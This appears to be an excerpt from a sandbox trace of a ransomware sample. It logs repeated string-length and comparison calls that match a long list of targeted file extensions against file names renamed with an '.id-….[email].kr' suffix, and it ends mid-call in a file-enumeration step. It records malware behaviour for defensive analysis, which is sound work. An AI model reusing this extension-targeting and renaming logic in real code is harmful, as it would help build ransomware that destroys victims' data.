lstrlenW (lpString=".asa") returned 4 [0085.802] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0085.802] lstrlenW (lpString=".asc") returned 4 [0085.802] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0085.802] lstrlenW (lpString=".ascx") returned 5 [0085.802] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0085.802] lstrlenW (lpString=".asm") returned 4 [0085.802] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0085.802] lstrlenW (lpString=".asmx") returned 5 [0085.802] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0085.803] lstrlenW (lpString=".asp") returned 4 [0085.803] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0085.803] lstrlenW (lpString=".aspx") returned 5 [0085.803] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0085.803] lstrlenW (lpString=".asr") returned 4 [0085.803] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0085.803] lstrlenW (lpString=".asx") returned 4 [0085.803] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0085.803] lstrlenW (lpString=".avi") returned 4 [0085.803] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0085.803] lstrlenW (lpString=".avs") returned 4 [0085.803] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0085.803] lstrlenW (lpString=".backup") returned 7 [0085.803] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0085.803] lstrlenW (lpString=".bak") returned 4 [0085.803] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0085.803] lstrlenW (lpString=".bay") returned 4 [0085.803] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0085.803] lstrlenW (lpString=".bd") returned 3 [0085.803] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0085.803] lstrlenW (lpString=".bin") returned 4 [0085.803] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0085.803] lstrlenW (lpString=".bmp") returned 4 [0085.803] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0085.803] lstrlenW (lpString=".bz2") returned 4 [0085.803] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0085.803] lstrlenW (lpString=".c") returned 2 [0085.804] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0085.804] lstrlenW (lpString=".cdr") returned 4 [0085.804] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0085.804] lstrlenW (lpString=".cer") returned 4 [0085.804] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0085.804] lstrlenW (lpString=".cf") returned 3 [0085.804] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0085.804] lstrlenW (lpString=".cfc") returned 4 [0085.804] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0085.804] lstrlenW (lpString=".cfm") returned 4 [0085.804] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0085.804] lstrlenW (lpString=".cfml") returned 5 [0085.804] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0085.804] lstrlenW (lpString=".cfu") returned 4 [0085.804] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0085.804] lstrlenW (lpString=".chm") returned 4 [0085.804] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0085.804] lstrlenW (lpString=".cin") returned 4 [0085.804] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0085.804] lstrlenW (lpString=".class") returned 6 [0085.804] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0085.804] lstrlenW (lpString=".clx") returned 4 [0085.804] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0085.804] lstrlenW (lpString=".config") returned 7 [0085.804] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0085.804] lstrlenW (lpString=".cpp") returned 4 [0085.804] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0085.804] lstrlenW (lpString=".cr2") returned 4 [0085.805] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0085.805] lstrlenW (lpString=".crt") returned 4 [0085.805] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0085.805] lstrlenW (lpString=".crw") returned 4 [0085.805] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0085.805] lstrlenW (lpString=".cs") returned 3 [0085.805] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0085.805] lstrlenW (lpString=".css") returned 4 [0085.805] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0085.805] lstrlenW (lpString=".csv") returned 4 [0085.805] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0085.805] lstrlenW (lpString=".cub") returned 4 [0085.805] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0085.805] lstrlenW (lpString=".dae") returned 4 [0085.805] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0085.805] lstrlenW (lpString=".dat") returned 4 [0085.805] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0085.805] lstrlenW (lpString=".db") returned 3 [0085.805] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0085.805] lstrlenW (lpString=".dbf") returned 4 [0085.805] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0085.805] lstrlenW (lpString=".dbx") returned 4 [0085.805] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0085.805] lstrlenW (lpString=".dc3") returned 4 [0085.805] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0085.805] lstrlenW (lpString=".dcm") returned 4 [0085.805] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0085.806] lstrlenW (lpString=".dcr") returned 4 [0085.806] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0085.806] lstrlenW (lpString=".der") returned 4 [0085.806] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0085.806] lstrlenW (lpString=".dib") returned 4 [0085.806] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0085.806] lstrlenW (lpString=".dic") returned 4 [0085.806] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0085.806] lstrlenW (lpString=".dif") returned 4 [0085.806] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0085.806] lstrlenW (lpString=".divx") returned 5 [0085.806] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0085.806] lstrlenW (lpString=".djvu") returned 5 [0085.806] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0085.806] lstrlenW (lpString=".dng") returned 4 [0085.806] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0085.806] lstrlenW (lpString=".doc") returned 4 [0085.806] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0085.806] lstrlenW (lpString=".docm") returned 5 [0085.806] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0085.806] lstrlenW (lpString=".docx") returned 5 [0085.806] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0085.806] lstrlenW (lpString=".dot") returned 4 [0085.806] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0085.806] lstrlenW (lpString=".dotm") returned 5 [0085.806] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0085.806] lstrlenW (lpString=".dotx") returned 5 [0085.806] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0085.807] lstrlenW (lpString=".dpx") returned 4 [0085.807] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0085.807] lstrlenW (lpString=".dqy") returned 4 [0085.807] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0085.807] lstrlenW (lpString=".dsn") returned 4 [0085.807] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0085.807] lstrlenW (lpString=".dt") returned 3 [0085.807] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0085.807] lstrlenW (lpString=".dtd") returned 4 [0085.807] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0085.807] lstrlenW (lpString=".dwg") returned 4 [0085.807] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0085.807] lstrlenW (lpString=".dwt") returned 4 [0085.807] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0085.807] lstrlenW (lpString=".dx") returned 3 [0085.807] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0085.807] lstrlenW (lpString=".dxf") returned 4 [0085.807] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0085.807] lstrlenW (lpString=".edml") returned 5 [0085.807] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0085.807] lstrlenW (lpString=".efd") returned 4 [0085.807] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0085.807] lstrlenW (lpString=".elf") returned 4 [0085.807] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0085.807] lstrlenW (lpString=".emf") returned 4 [0085.807] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0085.807] lstrlenW (lpString=".emz") returned 4 [0085.807] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0085.808] lstrlenW (lpString=".epf") returned 4 [0085.808] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0085.808] lstrlenW (lpString=".eps") returned 4 [0085.808] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0085.808] lstrlenW (lpString=".epsf") returned 5 [0085.808] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0085.808] lstrlenW (lpString=".epsp") returned 5 [0085.808] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0085.808] lstrlenW (lpString=".erf") returned 4 [0085.808] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0085.808] lstrlenW (lpString=".exr") returned 4 [0085.808] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0085.808] lstrlenW (lpString=".f4v") returned 4 [0085.808] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0085.808] lstrlenW (lpString=".fido") returned 5 [0085.808] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0085.808] lstrlenW (lpString=".flm") returned 4 [0085.808] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0085.808] lstrlenW (lpString=".flv") returned 4 [0085.808] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0085.808] lstrlenW (lpString=".frm") returned 4 [0085.808] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0085.808] lstrlenW (lpString=".fxg") returned 4 [0085.808] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0085.808] lstrlenW (lpString=".geo") returned 4 [0085.808] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0085.808] lstrlenW (lpString=".gif") returned 4 [0085.809] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0085.809] lstrlenW (lpString=".grs") returned 4 [0085.809] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0085.809] lstrlenW (lpString=".gz") returned 3 [0085.809] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0085.809] lstrlenW (lpString=".h") returned 2 [0085.809] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0085.809] lstrlenW (lpString=".hdr") returned 4 [0085.809] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0085.809] lstrlenW (lpString=".hpp") returned 4 [0085.809] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0085.809] lstrlenW (lpString=".hta") returned 4 [0085.809] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0085.809] lstrlenW (lpString=".htc") returned 4 [0085.809] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0085.809] lstrlenW (lpString=".htm") returned 4 [0085.809] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0085.809] lstrlenW (lpString=".html") returned 5 [0085.809] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0085.809] lstrlenW (lpString=".icb") returned 4 [0085.809] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0085.809] lstrlenW (lpString=".ics") returned 4 [0085.809] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0085.809] lstrlenW (lpString=".iff") returned 4 [0085.809] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0085.809] lstrlenW (lpString=".inc") returned 4 [0085.809] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0085.809] lstrlenW (lpString=".indd") returned 5 [0085.810] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0085.810] lstrlenW (lpString=".ini") returned 4 [0085.810] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0085.810] lstrlenW (lpString=".iqy") returned 4 [0085.810] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0085.810] lstrlenW (lpString=".j2c") returned 4 [0085.810] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0085.810] lstrlenW (lpString=".j2k") returned 4 [0085.810] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0085.810] lstrlenW (lpString=".java") returned 5 [0085.810] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0085.810] lstrlenW (lpString=".jp2") returned 4 [0085.810] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0085.810] lstrlenW (lpString=".jpc") returned 4 [0085.810] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0085.810] lstrlenW (lpString=".jpe") returned 4 [0085.810] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0085.810] lstrlenW (lpString=".jpeg") returned 5 [0085.810] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0085.810] lstrlenW (lpString=".jpf") returned 4 [0085.810] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0085.810] lstrlenW (lpString=".jpg") returned 4 [0085.810] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0085.810] lstrlenW (lpString=".jpx") returned 4 [0085.810] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0085.810] lstrlenW (lpString=".js") returned 3 [0085.810] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0085.810] lstrlenW (lpString=".jsf") returned 4 [0085.811] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0085.811] lstrlenW (lpString=".json") returned 5 [0085.811] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0085.811] lstrlenW (lpString=".jsp") returned 4 [0085.811] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0085.811] lstrlenW (lpString=".kdc") returned 4 [0085.811] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0085.811] lstrlenW (lpString=".kmz") returned 4 [0085.811] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0085.811] lstrlenW (lpString=".kwm") returned 4 [0085.811] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0085.811] lstrlenW (lpString=".lasso") returned 6 [0085.811] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0085.811] lstrlenW (lpString=".lbi") returned 4 [0085.811] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0085.811] lstrlenW (lpString=".lgf") returned 4 [0085.811] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0085.811] lstrlenW (lpString=".lgp") returned 4 [0085.811] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0085.811] lstrlenW (lpString=".log") returned 4 [0085.811] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0085.811] lstrlenW (lpString=".m1v") returned 4 [0085.811] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0085.811] lstrlenW (lpString=".m4a") returned 4 [0085.811] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0085.811] lstrlenW (lpString=".m4v") returned 4 [0085.811] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0085.811] lstrlenW (lpString=".max") returned 4 [0085.812] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0085.812] lstrlenW (lpString=".md") returned 3 [0085.812] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0085.812] lstrlenW (lpString=".mda") returned 4 [0085.812] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0085.812] lstrlenW (lpString=".mdb") returned 4 [0085.812] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0085.812] lstrlenW (lpString=".mde") returned 4 [0085.812] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0085.812] lstrlenW (lpString=".mdf") returned 4 [0085.812] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0085.812] lstrlenW (lpString=".mdw") returned 4 [0085.812] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0085.812] lstrlenW (lpString=".mef") returned 4 [0085.812] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0085.812] lstrlenW (lpString=".mft") returned 4 [0085.812] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0085.812] lstrlenW (lpString=".mfw") returned 4 [0085.812] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0085.812] lstrlenW (lpString=".mht") returned 4 [0085.812] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0085.812] lstrlenW (lpString=".mhtml") returned 6 [0085.812] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0085.812] lstrlenW (lpString=".mka") returned 4 [0085.812] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0085.812] lstrlenW (lpString=".mkidx") returned 6 [0085.812] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0085.813] lstrlenW (lpString=".mkv") returned 4 [0085.813] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0085.813] lstrlenW (lpString=".mos") returned 4 [0085.813] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0085.813] lstrlenW (lpString=".mov") returned 4 [0085.813] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0085.813] lstrlenW (lpString=".mp3") returned 4 [0085.813] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0085.813] lstrlenW (lpString=".mp4") returned 4 [0085.813] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0085.813] lstrlenW (lpString=".mpeg") returned 5 [0085.813] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0085.813] lstrlenW (lpString=".mpg") returned 4 [0085.813] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0085.813] lstrlenW (lpString=".mpv") returned 4 [0085.813] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0085.813] lstrlenW (lpString=".mrw") returned 4 [0085.813] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0085.813] lstrlenW (lpString=".msg") returned 4 [0085.813] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0085.813] lstrlenW (lpString=".mxl") returned 4 [0085.813] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0085.813] lstrlenW (lpString=".myd") returned 4 [0085.813] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0085.813] lstrlenW (lpString=".myi") returned 4 [0085.813] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0085.814] lstrlenW (lpString=".nef") returned 4 [0085.814] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0085.814] lstrlenW (lpString=".nrw") returned 4 [0085.814] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0085.814] lstrlenW (lpString=".obj") returned 4 [0085.814] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0085.814] lstrlenW (lpString=".odb") returned 4 [0085.814] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0085.814] lstrlenW (lpString=".odc") returned 4 [0085.814] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0085.814] lstrlenW (lpString=".odm") returned 4 [0085.814] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0085.814] lstrlenW (lpString=".odp") returned 4 [0085.814] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0085.814] lstrlenW (lpString=".ods") returned 4 [0085.814] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0085.814] lstrlenW (lpString=".oft") returned 4 [0085.814] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0085.814] lstrlenW (lpString=".one") returned 4 [0085.814] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0085.814] lstrlenW (lpString=".onepkg") returned 7 [0085.814] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0085.815] lstrlenW (lpString=".onetoc2") returned 8 [0085.815] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0085.815] lstrlenW (lpString=".opt") returned 4 [0085.815] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0085.815] lstrlenW (lpString=".oqy") returned 4 [0085.815] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0085.815] lstrlenW (lpString=".orf") returned 4 [0085.815] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0085.815] lstrlenW (lpString=".p12") returned 4 [0085.815] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0085.815] lstrlenW (lpString=".p7b") returned 4 [0085.815] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0085.815] lstrlenW (lpString=".p7c") returned 4 [0085.815] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0085.815] lstrlenW (lpString=".pam") returned 4 [0085.815] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0085.815] lstrlenW (lpString=".pbm") returned 4 [0085.815] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0085.815] lstrlenW (lpString=".pct") returned 4 [0085.815] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0085.815] lstrlenW (lpString=".pcx") returned 4 [0085.815] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0085.815] lstrlenW (lpString=".pdd") returned 4 [0085.815] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0085.815] lstrlenW (lpString=".pdf") returned 4 [0085.815] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0085.815] lstrlenW (lpString=".pdp") returned 4 [0085.816] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0085.816] lstrlenW (lpString=".pef") returned 4 [0085.816] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0085.816] lstrlenW (lpString=".pem") returned 4 [0085.816] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0085.816] lstrlenW (lpString=".pff") returned 4 [0085.816] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0085.816] lstrlenW (lpString=".pfm") returned 4 [0085.816] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0085.816] lstrlenW (lpString=".pfx") returned 4 [0085.816] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0085.816] lstrlenW (lpString=".pgm") returned 4 [0085.816] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0085.816] lstrlenW (lpString=".php") returned 4 [0085.816] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0085.816] lstrlenW (lpString=".php3") returned 5 [0085.816] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0085.816] lstrlenW (lpString=".php4") returned 5 [0085.816] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0085.817] lstrlenW (lpString=".php5") returned 5 [0085.817] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0085.817] lstrlenW (lpString=".phtml") returned 6 [0085.817] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0085.817] lstrlenW (lpString=".pict") returned 5 [0085.817] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0085.817] lstrlenW (lpString=".pl") returned 3 [0085.817] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0085.817] lstrlenW (lpString=".pls") returned 4 [0085.817] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0085.817] lstrlenW (lpString=".pm") returned 3 [0085.817] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0085.817] lstrlenW (lpString=".png") returned 4 [0085.817] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0085.817] lstrlenW (lpString=".pnm") returned 4 [0085.817] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0085.817] lstrlenW (lpString=".pot") returned 4 [0085.817] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0085.817] lstrlenW (lpString=".potm") returned 5 [0085.817] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0085.817] lstrlenW (lpString=".potx") returned 5 [0085.817] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0085.817] lstrlenW (lpString=".ppa") returned 4 [0085.817] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0085.817] lstrlenW (lpString=".ppam") returned 5 [0085.817] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0085.817] lstrlenW (lpString=".ppm") returned 4 [0085.818] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0085.818] lstrlenW (lpString=".pps") returned 4 [0085.818] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0085.818] lstrlenW (lpString=".ppsm") returned 5 [0085.818] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0085.818] lstrlenW (lpString=".ppt") returned 4 [0085.818] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0085.818] lstrlenW (lpString=".pptm") returned 5 [0085.818] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0085.818] lstrlenW (lpString=".pptx") returned 5 [0085.818] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0085.818] lstrlenW (lpString=".prn") returned 4 [0085.818] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0085.818] lstrlenW (lpString=".ps") returned 3 [0085.818] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0085.818] lstrlenW (lpString=".psb") returned 4 [0085.818] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0085.818] lstrlenW (lpString=".psd") returned 4 [0085.818] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0085.818] lstrlenW (lpString=".pst") returned 4 [0085.818] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0085.818] lstrlenW (lpString=".ptx") returned 4 [0085.818] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0085.818] lstrlenW (lpString=".pub") returned 4 [0085.818] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0085.818] lstrlenW (lpString=".pwm") returned 4 [0085.819] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0085.819] lstrlenW (lpString=".pxr") returned 4 [0085.819] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0085.819] lstrlenW (lpString=".py") returned 3 [0085.819] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0085.819] lstrlenW (lpString=".qt") returned 3 [0085.819] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0085.819] lstrlenW (lpString=".r3d") returned 4 [0085.819] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0085.819] lstrlenW (lpString=".raf") returned 4 [0085.819] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0085.819] lstrlenW (lpString=".rar") returned 4 [0085.819] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0085.819] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5db4b4f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5db4b4f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5db4b4f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0085.819] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, 